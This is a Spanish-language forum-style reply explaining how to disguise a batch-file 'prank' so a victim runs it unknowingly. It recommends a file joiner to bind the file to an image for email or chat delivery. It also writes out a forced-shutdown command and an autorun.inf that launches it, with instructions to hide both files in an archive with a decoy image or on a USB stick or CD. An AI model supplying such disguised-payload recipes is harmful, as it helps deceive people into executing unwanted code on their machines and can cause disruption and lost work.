Saludos Amigo,
Crear un virus en "bat" no es muy funcional que digamos además necesitas ser ejecutado y esto no sucede si el usuario no lo hace.
Si quieres ocultar tu archivo "bat" en una imagen puedes utilizar un joiner que es un programa que une dos archivos con el formato de uno solo, uno de los mejores es el "Cactus Joiner".
Ahora esto ciertamente no sera un virus, sino una broma porque un virus funcionaria de otra manera además de que afectara al sistema, ya que hacer un virus seria mas complicado.
Si tu broma es enviándola por correo o por mensajería instantánea usa el joiner. Si no quieres usar un joiner puedes hacerlo de la siguiente forma.
Para el archivo "bat" que puedes guardar como apagado.bat puedes utilizar el código que tienes o puedes usar:
shutdown -s -t 00
Necesitas un archivo autorun.inf
Que debería tener el siguiente código:
[AutoRun]
open=apagado.bat
;shell\open=Open&O
shell\open\Command=apagado.bat
shell\open\Default=1
;shell\explore=Manager&X
shell\explore\Command=apagado.bat
Lo guardas y lo pones juntos y los colocas como archivos ocultos y ambos los comprimes en un archivo "rar" o "zip", claro con una imagen dentro para hacerlo menos obvio en el momento de abrirlo y descomprimir se correrá el archivo. También funciona introduciéndolos en una Pendrive (memoria USB), grabándolo en un CD, entre otras formas.
Suerte.